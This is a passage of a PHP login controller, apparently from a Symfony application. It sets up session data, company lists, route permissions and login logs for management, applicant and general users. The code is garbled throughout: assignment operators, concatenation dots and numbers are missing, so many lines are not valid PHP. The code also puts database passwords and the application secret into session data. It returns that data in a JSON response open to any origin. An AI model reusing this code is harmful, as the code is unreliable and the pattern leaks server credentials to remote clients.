  2603.                         $currentTaskId $currentTask->getId();
  2604.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  2605.                     }
  2606.                     $userId $user->getUserId();
  2607.                     $userCompanyId 1;
  2608.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  2609.                     $userEmail $user->getEmail();
  2610.                     $userImage $user->getImage();
  2611.                     $userFullName $user->getName();
  2612.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2613.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  2614.                     $position_list_array json_decode($user->getPositionIds(), true);
  2615.                     if ($position_list_array == null$position_list_array = [];
  2616.                     $filtered_pos_array = [];
  2617.                     foreach ($position_list_array as $defPos)
  2618.                         if ($defPos != '' && $defPos != 0)
  2619.                             $filtered_pos_array[] = $defPos;
  2620.                     $position_list_array $filtered_pos_array;
  2621.                     if (!empty($position_list_array))
  2622.                         $curr_position_id $position_list_array[0];
  2623.                     $userDefaultRoute $user->getDefaultRoute();
  2624. //                    $userDefaultRoute = 'MATHA';
  2625.                     $allModuleAccessFlag 1;
  2626.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  2627.                         $userDefaultRoute '';
  2628. //                    $route_list_array = Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id, $userId);
  2629.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2630.                     if (isset($companyList[$userCompanyId])) {
  2631.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2632.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2633.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2634.                         $company_locale $companyList[$userCompanyId]['locale'];
  2635.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2636.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2637.                     }
  2638.                     if ($allModuleAccessFlag == 1)
  2639.                         $prohibit_list_array = [];
  2640.                     else if ($curr_position_id != 0)
  2641.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  2642.                     $loginID $this->get('user_module')->addUserLoginLog(
  2643.                         $userId,
  2644.                         $request->server->get("REMOTE_ADDR"),
  2645.                         $curr_position_id
  2646.                     );
  2647.                     $appIdList json_decode($user->getUserAppIdList());
  2648.                     $branchIdList json_decode($user->getUserBranchIdList());
  2649.                     if ($branchIdList == null$branchIdList = [];
  2650.                     $branchId $user->getUserBranchId();
  2651.                     if ($appIdList == null$appIdList = [];
  2652. //
  2653. //                    if (!in_array($user->getUserAppId(), $appIdList))
  2654. //                        $appIdList[] = $user->getUserAppId();
  2655. //
  2656. //                    foreach ($appIdList as $currAppId) {
  2657. //                        if ($currAppId == $user->getUserAppId()) {
  2658. //
  2659. //                            foreach ($company_id_list as $index_company => $company_id) {
  2660. //                                $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $company_id;
  2661. //                                $app_company_index = $currAppId . '_' . $company_id;
  2662. //                                $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  2663. //                                $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  2664. //                            }
  2665. //                        } else {
  2666. //
  2667. //                            $dataToConnect = System::changeDoctrineManagerByAppId(
  2668. //                                $this->getDoctrine()->getManager('company_group'),
  2669. //                                $gocEnabled,
  2670. //                                $currAppId
  2671. //                            );
  2672. //                            if (!empty($dataToConnect)) {
  2673. //                                $connector = $this->container->get('application_connector');
  2674. //                                $connector->resetConnection(
  2675. //                                    'default',
  2676. //                                    $dataToConnect['dbName'],
  2677. //                                    $dataToConnect['dbUser'],
  2678. //                                    $dataToConnect['dbPass'],
  2679. //                                    $dataToConnect['dbHost'],
  2680. //                                    $reset = true
  2681. //                                );
  2682. //                                $em = $this->getDoctrine()->getManager();
  2683. //
  2684. //                                $companyList = Company::getCompanyListWithImage($em);
  2685. //                                foreach ($companyList as $c => $dta) {
  2686. //                                    //                                $company_id_list[]=$c;
  2687. //                                    //                                $company_name_list[$c] = $companyList[$c]['name'];
  2688. //                                    //                                $company_image_list[$c] = $companyList[$c]['image'];
  2689. //                                    $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $c;
  2690. //                                    $app_company_index = $currAppId . '_' . $c;
  2691. //                                    $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  2692. //                                    $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  2693. //                                }
  2694. //                            }
  2695. //                        }
  2696. //                    }
  2697.                 } else if ($userType == UserConstants::USER_TYPE_MANAGEMENT_USER) {
  2698.                     // General User
  2699.                     $employeeId 0;
  2700.                     $currentMonthHolidayList = [];
  2701.                     $currentHolidayCalendarId 0;
  2702.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2703.                         ->findOneBy(
  2704.                             array(
  2705.                                 'userId' => $user->getUserId()
  2706.                             )
  2707.                         );
  2708.                     if ($employeeObj) {
  2709.                         $employeeId $employeeObj->getEmployeeId();
  2710.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2711.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2712.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2713.                     }
  2714.                     $session->set(UserConstants::USER_EMPLOYEE_IDstrval($employeeId));
  2715.                     $session->set(UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTHjson_encode($currentMonthHolidayList));
  2716.                     $session->set(UserConstants::USER_HOLIDAY_CALENDAR_ID$currentHolidayCalendarId);
  2717.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2718.                     $session->set(UserConstants::USER_ID$user->getUserId());
  2719.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2720.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_MANAGEMENT_USER);
  2721.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2722.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2723.                     $session->set(UserConstants::USER_NAME$user->getName());
  2724.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  2725.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  2726.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2727.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2728.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2729.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2730.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2731.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2732.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  2733.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  2734.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  2735.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2736.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2737.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2738.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2739.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2740.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2741.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2742.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2743.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2744.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2745.                     if (count(json_decode($user->getPositionIds(), true)) > 1) {
  2746.                         return $this->redirectToRoute("user_login_position");
  2747.                     } else {
  2748.                         $PL json_decode($user->getPositionIds(), true);
  2749.                         $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId());
  2750.                         $session->set(UserConstants::USER_CURRENT_POSITION$PL[0]);
  2751.                         $loginID $this->get('user_module')->addUserLoginLog(
  2752.                             $session->get(UserConstants::USER_ID),
  2753.                             $request->server->get("REMOTE_ADDR"),
  2754.                             $PL[0]
  2755.                         );
  2756.                         $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2757.                         //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2758.                         $session->set(UserConstants::USER_GOC_ID$gocId);
  2759.                         $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2760.                         $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2761.                         $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  2762.                         $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2763.                         $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2764.                         $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2765.                         $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2766.                         $appIdList json_decode($user->getUserAppIdList());
  2767.                         if ($appIdList == null$appIdList = [];
  2768.                         $companyIdListByAppId = [];
  2769.                         $companyNameListByAppId = [];
  2770.                         $companyImageListByAppId = [];
  2771.                         if (!in_array($user->getUserAppId(), $appIdList))
  2772.                             $appIdList[] = $user->getUserAppId();
  2773.                         foreach ($appIdList as $currAppId) {
  2774.                             if ($currAppId == $user->getUserAppId()) {
  2775.                                 foreach ($company_id_list as $index_company => $company_id) {
  2776.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  2777.                                     $app_company_index $currAppId '_' $company_id;
  2778.                                     $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  2779.                                     $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  2780.                                 }
  2781.                             } else {
  2782.                                 $dataToConnect System::changeDoctrineManagerByAppId(
  2783.                                     $this->getDoctrine()->getManager('company_group'),
  2784.                                     $gocEnabled,
  2785.                                     $currAppId
  2786.                                 );
  2787.                                 if (!empty($dataToConnect)) {
  2788.                                     $connector $this->container->get('application_connector');
  2789.                                     $connector->resetConnection(
  2790.                                         'default',
  2791.                                         $dataToConnect['dbName'],
  2792.                                         $dataToConnect['dbUser'],
  2793.                                         $dataToConnect['dbPass'],
  2794.                                         $dataToConnect['dbHost'],
  2795.                                         $reset true
  2796.                                     );
  2797.                                     $em $this->getDoctrine()->getManager();
  2798.                                     $companyList Company::getCompanyListWithImage($em);
  2799.                                     foreach ($companyList as $c => $dta) {
  2800.                                         //                                $company_id_list[]=$c;
  2801.                                         //                                $company_name_list[$c] = $companyList[$c]['name'];
  2802.                                         //                                $company_image_list[$c] = $companyList[$c]['image'];
  2803.                                         $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  2804.                                         $app_company_index $currAppId '_' $c;
  2805.                                         $company_locale $companyList[$c]['locale'];
  2806.                                         $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  2807.                                         $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  2808.                                     }
  2809.                                 }
  2810.                             }
  2811.                         }
  2812.                         $session->set('appIdList'$appIdList);
  2813.                         $session->set('companyIdListByAppId'$companyIdListByAppId);
  2814.                         $session->set('companyNameListByAppId'$companyNameListByAppId);
  2815.                         $session->set('companyImageListByAppId'$companyImageListByAppId);
  2816.                         $branchIdList json_decode($user->getUserBranchIdList());
  2817.                         $branchId $user->getUserBranchId();
  2818.                         $session->set('branchIdList'$branchIdList);
  2819.                         $session->set('branchId'$branchId);
  2820.                         if ($user->getAllModuleAccessFlag() == 1)
  2821.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2822.                         else
  2823.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId())));
  2824.                         $session_data = array(
  2825.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  2826.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2827.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2828.                             'oAuthToken' => $session->get('oAuthToken'),
  2829.                             'locale' => $session->get('locale'),
  2830.                             'firebaseToken' => $session->get('firebaseToken'),
  2831.                             'token' => $session->get('token'),
  2832.                             'firstLogin' => $firstLogin,
  2833.                             'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  2834.                             'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  2835.                             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  2836.                             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  2837.                             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  2838.                             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  2839.                             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  2840.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  2841.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  2842.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  2843.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  2844.                             'oAuthImage' => $session->get('oAuthImage'),
  2845.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  2846.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  2847.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  2848.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  2849.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  2850.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  2851.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  2852.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  2853.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  2854.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  2855.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  2856.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2857.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2858.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2859.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  2860.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  2861.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  2862.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  2863.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  2864.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  2865.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  2866.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2867.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2868.                             //new
  2869.                             'appIdList' => $session->get('appIdList'),
  2870.                             'branchIdList' => $session->get('branchIdList'null),
  2871.                             'branchId' => $session->get('branchId'null),
  2872.                             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  2873.                             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  2874.                             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  2875.                         );
  2876.                         $session_data $this->filterClientSessionData($session_data);
  2877.                         $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  2878.                         $session_data $tokenData['sessionData'];
  2879.                         $token $tokenData['token'];
  2880.                         $session->set('token'$token);
  2881.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2882.                             $session->set('remoteVerified'1);
  2883.                             $response = new JsonResponse(array(
  2884.                                 'uid' => $session->get(UserConstants::USER_ID),
  2885.                                 'session' => $session,
  2886.                                 'token' => $token,
  2887.                                 'success' => true,
  2888.                                 'session_data' => $session_data,
  2889.                             ));
  2890.                             $response->headers->set('Access-Control-Allow-Origin''*');
  2891.                             return $response;
  2892.                         }
  2893.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  2894.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  2895.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  2896.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  2897.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  2898.                                     return $this->redirect($red);
  2899.                                 }
  2900.                             } else {
  2901.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  2902.                             }
  2903.                         } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  2904.                             return $this->redirectToRoute("dashboard");
  2905.                         else
  2906.                             return $this->redirectToRoute($user->getDefaultRoute());
  2907. //                        if ($request->server->has("HTTP_REFERER")) {
  2908. //                            if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != ''  && $request->server->get('HTTP_REFERER') != null) {
  2909. //                                return $this->redirect($request->request->get('HTTP_REFERER'));
  2910. //                            }
  2911. //                        }
  2912. //
  2913. //                        //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2914. //                        if ($request->request->has('referer_path')) {
  2915. //                            if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '' && $request->request->get('referer_path') != null) {
  2916. //                                return $this->redirect($request->request->get('referer_path'));
  2917. //                            }
  2918. //                        }
  2919. //                        //                    if($request->request->has('gocId')
  2920. //
  2921. //                        if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  2922. //                            return $this->redirectToRoute("dashboard");
  2923. //                        else
  2924. //                            return $this->redirectToRoute($user->getDefaultRoute());
  2925.                     }
  2926.                 } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  2927.                     $applicantId $user->getApplicantId();
  2928.                     $userId $user->getApplicantId();
  2929.                     $globalId $user->getApplicantId();
  2930.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  2931.                     $isConsultant $user->getIsConsultant() == 0;
  2932.                     $isRetailer $user->getIsRetailer() == 0;
  2933.                     $retailerLevel $user->getRetailerLevel() == 0;
  2934.                     $adminLevel $user->getIsAdmin() == ? (($user->getAdminLevel() != null && $user->getAdminLevel() != 0) ? $user->getAdminLevel() : 1) : ($user->getIsModerator() == 0);
  2935.                     $isModerator $user->getIsModerator() == 0;
  2936.                     $isAdmin $user->getIsAdmin() == 0;
  2937.                     $userEmail $user->getOauthEmail();
  2938.                     $userImage $user->getImage();
  2939.                     $userFullName $user->getFirstName() . ' ' $user->getLastName();
  2940.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  2941.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2942.                     $buddybeeBalance $user->getAccountBalance();
  2943.                     $buddybeeCoinBalance $user->getSessionCountBalance();
  2944.                     $userDefaultRoute 'applicant_dashboard';
  2945. //            $userAppIds = json_decode($user->getUserAppIds(), true);
  2946.                     $userAppIds = [];
  2947.                     $userSuspendedAppIds json_decode($user->getUserSuspendedAppIds(), true);
  2948.                     $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  2949.                     if ($userAppIds == null$userAppIds = [];
  2950.                     if ($userSuspendedAppIds == null$userSuspendedAppIds = [];
  2951.                     if ($userTypesByAppIds == null$userTypesByAppIds = [];
  2952.                     foreach ($userTypesByAppIds as $aid => $accData)
  2953.                         if (in_array($aid$userSuspendedAppIds))
  2954.                             unset($userTypesByAppIds[$aid]);
  2955.                         else
  2956.                             $userAppIds[] = $aid;
  2957. //                    $userAppIds=array_diff($userAppIds,$userSuspendedAppIds);
  2958.                     if ($user->getOAuthEmail() == '' || $user->getOAuthEmail() == null$currRequiredPromptFields[] = 'email';
  2959.                     if ($user->getPhone() == '' || $user->getPhone() == null$currRequiredPromptFields[] = 'phone';
  2960.                     if ($user->getCurrentCountryId() == '' || $user->getCurrentCountryId() == null || $user->getCurrentCountryId() == 0$currRequiredPromptFields[] = 'currentCountryId';
  2961.                     if ($user->getPreferredConsultancyTopicCountryIds() == '' || $user->getPreferredConsultancyTopicCountryIds() == null || $user->getPreferredConsultancyTopicCountryIds() == '[]'$currRequiredPromptFields[] = 'preferredConsultancyTopicCountryIds';
  2962.                     if ($user->getIsConsultant() == && ($user->getPreferredTopicIdsAsConsultant() == '' || $user->getPreferredTopicIdsAsConsultant() == null || $user->getPreferredTopicIdsAsConsultant() == '[]')) $currRequiredPromptFields[] = 'preferredTopicIdsAsConsultant';
  2963.                     $loginID MiscActions::addEntityUserLoginLog(
  2964.                         $em_goc,
  2965.                         $userId,
  2966.                         $applicantId,
  2967.                         1,
  2968.                         $request->server->get("REMOTE_ADDR"),
  2969.                         0,
  2970.                         $request->request->get('deviceId'''),
  2971.                         $request->request->get('oAuthToken'''),
  2972.                         $request->request->get('oAuthType'''),
  2973.                         $request->request->get('locale'''),
  2974.                         $request->request->get('firebaseToken''')
  2975.                     );
  2976.                 } else if ($userType == UserConstants::USER_TYPE_GENERAL) {
  2977.                     // General User
  2978.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2979.                         ->findOneBy(
  2980.                             array(
  2981.                                 'userId' => $user->getUserId()
  2982.                             )
  2983.                         );
  2984.                     if ($employeeObj) {
  2985.                         $employeeId $employeeObj->getEmployeeId();
  2986.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2987.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2988.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2989.                     }
  2990.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  2991.                         ->findOneBy(
  2992.                             array(
  2993.                                 'userId' => $user->getUserId(),
  2994.                                 'workingStatus' => 1
  2995.                             )
  2996.                         );
  2997.                     if ($currentTask) {
  2998.                         $currentTaskId $currentTask->getId();
  2999.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  3000.                     }
  3001.                     $userId $user->getUserId();
  3002.                     $userCompanyId 1;
  3003.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  3004.                     $userEmail $user->getEmail();
  3005.                     $userImage $user->getImage();
  3006.                     $userFullName $user->getName();
  3007.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  3008.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  3009.                     $position_list_array json_decode($user->getPositionIds(), true);
  3010.                     if ($position_list_array == null$position_list_array = [];
  3011.                     $filtered_pos_array = [];
  3012.                     foreach ($position_list_array as $defPos)
  3013.                         if ($defPos != '' && $defPos != 0)
  3014.                             $filtered_pos_array[] = $defPos;
  3015.                     $position_list_array $filtered_pos_array;
  3016.                     if (!empty($position_list_array))
  3017.                         foreach ($position_list_array as $defPos)
  3018.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  3019.                                 $curr_position_id $defPos;
  3020.                             }
  3021.                     $userDefaultRoute $user->getDefaultRoute();
  3022.                     $allModuleAccessFlag $user->getAllModuleAccessFlag() == 0;
  3023.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  3024.                         $userDefaultRoute 'user_default_page';
  3025.                     $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id$userId);
  3026.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  3027.                     if (isset($companyList[$userCompanyId])) {
  3028.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  3029.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  3030.                         $company_locale $companyList[$userCompanyId]['locale'];
  3031.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  3032.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  3033.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  3034.                     }
  3035.                     if ($allModuleAccessFlag == 1)
  3036.                         $prohibit_list_array = [];
  3037.                     else
  3038.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  3039.                     $loginID $this->get('user_module')->addUserLoginLog(
  3040.                         $userId,
  3041.                         $request->server->get("REMOTE_ADDR"),
  3042.                         $curr_position_id
  3043.                     );
  3044.                     $appIdList json_decode($user->getUserAppIdList());
  3045.                     $branchIdList json_decode($user->getUserBranchIdList());
  3046.                     if ($branchIdList == null$branchIdList = [];
  3047.                     $branchId $user->getUserBranchId();
  3048.                     if ($appIdList == null$appIdList = [];
  3049.                     if (!in_array($user->getUserAppId(), $appIdList))
  3050.                         $appIdList[] = $user->getUserAppId();
  3051.                     foreach ($appIdList as $currAppId) {
  3052.                         if ($currAppId == $user->getUserAppId()) {
  3053.                             foreach ($company_id_list as $index_company => $company_id) {
  3054.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  3055.                                 $app_company_index $currAppId '_' $company_id;
  3056.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  3057.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  3058.                             }
  3059.                         } else {
  3060.                             $dataToConnect System::changeDoctrineManagerByAppId(
  3061.                                 $this->getDoctrine()->getManager('company_group'),
  3062.                                 $gocEnabled,
  3063.                                 $currAppId
  3064.                             );
  3065.                             if (!empty($dataToConnect)) {
  3066.                                 $connector $this->container->get('application_connector');
  3067.                                 $connector->resetConnection(
  3068.                                     'default',
  3069.                                     $dataToConnect['dbName'],
  3070.                                     $dataToConnect['dbUser'],
  3071.                                     $dataToConnect['dbPass'],
  3072.                                     $dataToConnect['dbHost'],
  3073.                                     $reset true
  3074.                                 );
  3075.                                 $em $this->getDoctrine()->getManager();
  3076.                                 $companyList Company::getCompanyListWithImage($em);
  3077.                                 foreach ($companyList as $c => $dta) {
  3078.                                     //                                $company_id_list[]=$c;
  3079.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  3080.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  3081.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  3082.                                     $app_company_index $currAppId '_' $c;
  3083.                                     $company_locale $companyList[$c]['locale'];
  3084.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  3085.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  3086.                                 }
  3087.                             }
  3088.                         }
  3089.                     }
  3090.                     if (count($position_list_array) > 1) {
  3091.                         $userForcedRoute 'user_login_position';
  3092. //                        return $this->redirectToRoute("user_login_position");
  3093.                     } else {
  3094.                     }
  3095.                 } else {
  3096.                     $isEmailVerified 1;
  3097.                 }
  3098.                 if ($userType == UserConstants::USER_TYPE_APPLICANT ||
  3099.                     $userType == UserConstants::USER_TYPE_GENERAL ||
  3100.                     $userType == UserConstants::USER_TYPE_SYSTEM
  3101.                 ) {
  3102.                     $session_data = array(
  3103.                         UserConstants::USER_ID => $userId,
  3104.                         UserConstants::USER_EMPLOYEE_ID => $employeeId,
  3105.                         UserConstants::APPLICANT_ID => $applicantId,
  3106.                         UserConstants::USER_CURRENT_TASK_ID => $currentTaskId,
  3107.                         UserConstants::USER_CURRENT_PLANNING_ITEM_ID => $currentPlanningItemId,
  3108.                         UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTH => json_encode($currentMonthHolidayList),
  3109.                         UserConstants::USER_HOLIDAY_CALENDAR_ID => $currentHolidayCalendarId,
  3110.                         UserConstants::SUPPLIER_ID => $supplierId,
  3111.                         UserConstants::CLIENT_ID => $clientId,
  3112.                         UserConstants::USER_TYPE => $userType,
  3113.                         UserConstants::USER_TYPE_NAME => UserConstants::$userTypeName[$userType],
  3114.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $lastSettingsUpdatedTs == null $lastSettingsUpdatedTs,
  3115.                         UserConstants::IS_CONSULTANT => $isConsultant,
  3116.                         UserConstants::IS_BUDDYBEE_RETAILER => $isRetailer,
  3117.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $retailerLevel,
  3118.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $adminLevel,
  3119.                         UserConstants::IS_BUDDYBEE_MODERATOR => $isModerator,
